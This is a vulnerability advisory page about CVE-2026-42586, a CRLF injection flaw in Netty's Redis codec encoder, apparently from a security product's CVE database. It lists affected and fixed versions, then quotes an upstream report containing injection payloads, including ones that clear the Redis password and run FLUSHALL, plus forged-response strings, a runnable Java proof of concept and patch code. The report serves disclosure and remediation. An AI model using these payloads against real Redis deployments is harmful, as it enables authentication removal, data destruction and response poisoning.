HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 42586 netty redis codec encoder has a crlf injection
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium ยท CVSS 6.8CVE-2026-42586GHSA-RGRR-P7GP-5XJ7

Netty Redis Codec Encoder has a CRLF Injection IssueCVE-2026-42586

Answer in brief

CVE-2026-42586 records a Medium severity (CVSS 6.8) vulnerability in Netty Redis Codec Encoder has a CRLF Injection Issue. The current sources do not mark it as known exploited. The current feed maps io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 7, 2026Updated Oct 26, 2026Source checked Oct 31, 2026First seen by HOL Jun 11, 2026Material review Oct 26, 2026
Upstream Advisory

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-93
Source
GitHub Security Advisories
Source checked
Oct 31, 2026
References
7 linked sources
Open source record

Key facts

Risk
Medium ยท CVSS 6.8
Exploitation
Not marked as known exploited
Affected software
5 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 6.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven), io.netty:netty-codec-redis (maven). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
io.netty:netty-codec-redismaven>=4.2.0.Alpha1,<=4.2.12.Final4.2.13.Final
io.netty:netty-codec-redismaven<=4.1.132.Final4.1.133.Final
io.netty:netty-codec-redismaven>=4.2.0.Alpha1 <4.2.13.Final4.2.13.Final
io.netty:netty-codec-redismaven>=0 <4.1.133.Final4.1.133.Final

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for io.netty:netty-codec-redis, io.netty:netty-codec-redis, io.netty:netty-codec-redis.
  2. 2Review the reported fix. Update io.netty:netty-codec-redis to 4.2.13.Final; io.netty:netty-codec-redis to 4.1.133.Final; io.netty:netty-codec-redis to 4.2.13.Final; io.netty:netty-codec-redis to 4.1.133.Final if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 7, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  2. Source modified

    Oct 26, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referenceredis.io
  • GitHub security advisorygithub.com
Upstream source description

# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-redis) | | **Component** | `io.netty.handler.codec.redis.RedisEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | **Impact** | Redis Command Injection / Response Poisoning | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-redis` module are affected: - `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation) - `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation) - `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation) - `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation) - `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation) ## 3. Vulnerability Description The Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\r\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. ### Root Cause In `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOL_LENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n out.add(buf); } ``` The message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null: ```java // AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\r` and `\n` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\r`, `\n`, and SP | The Redis codec has **no equivalent validation** in either the encoder or the message constructors. ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-redis` module to communicate with a Redis server 2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content 3. The application does **not** perform its own CRLF sanitization before constructing these message objects **Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters. **Affected use cases include**: - Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity - Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format ## 5. Attack Scenarios ### Scenario 1: Redis Command Injection via Inline Commands When Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands: ```java // Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg); ``` **Attack input**: `key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"` **Result**: Three commands sent to Redis: 1. `GET foo` 2. `CONFIG SET requirepass ""` (removes authentication!) 3. `FLUSHALL` (deletes all data!) ### Scenario 2: Redis Response Poisoning When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses: ```java // Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response); ``` **Malicious upstream response**: `"OK\r\n$6\r\nhacked"` **Client sees**: 1. Simple String: `+OK` (expected response) 2. Bulk String: `$6\r\nhacked` (injected fake data!) ### Scenario 3: Error Message Injection ```java ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail); ``` **Attack input**: `errorDetail = "unknown\r\n+FAKE_SUCCESS"` **Client sees**: 1. Error: `-ERR unknown` 2. Simple String: `+FAKE_SUCCESS` (injected fake success!) ## 6. Proof of Concept ### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.*; import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList; /** * PoC: Redis Encoder CRLF Injection Vulnerability * * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, * and ErrorRedisMessage do not validate content for CRLF characters, * allowing Redis command injection via the RESP protocol. */ public class RedisEncoderCRLFInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n"); testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: Inline Command Injection * An attacker-controlled string injected into InlineCommandRedisMessage * results in multiple Redis commands being sent. */ static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------"); // Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); // This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } } boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); } /** * Test 2: SimpleString Response Injection * When Netty acts as a Redis proxy/middleware, a malicious SimpleString * can inject fake responses to the downstream client. */ static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------"); // Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); } /** * Test 3: Error Message Injection * Similar to SimpleString but with error messages. */ static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------"); String maliciousContent = "ERR unknown\r\n+INJECTED_OK"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Redis Encoder CRLF Injection PoC === [TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected! [TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible! [TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK") Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n" VULNERABLE: YES - Error + fake OK injected! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data | | **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration | | **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS | | **Authentication Bypass** | `CONFIG SET requirepass ""` removes authentication | | **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction | ## 8. Remediation Recommendations ### Option 1: Validate in Message Constructors (Recommended) Add CRLF validation to `AbstractStringRedisMessage`: ```java AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); } private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } } ``` ### Option 2: Validate in Encoder (Defense-in-Depth) Add validation in `RedisEncoder.writeString()`: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic } ``` ### Option 3: Both (Best Practice) Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor - This provides defense-in-depth against custom `SmtpRequest` implementations ## 9. Resources - [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)

Quoted source text, attributed separately from HOL analysis.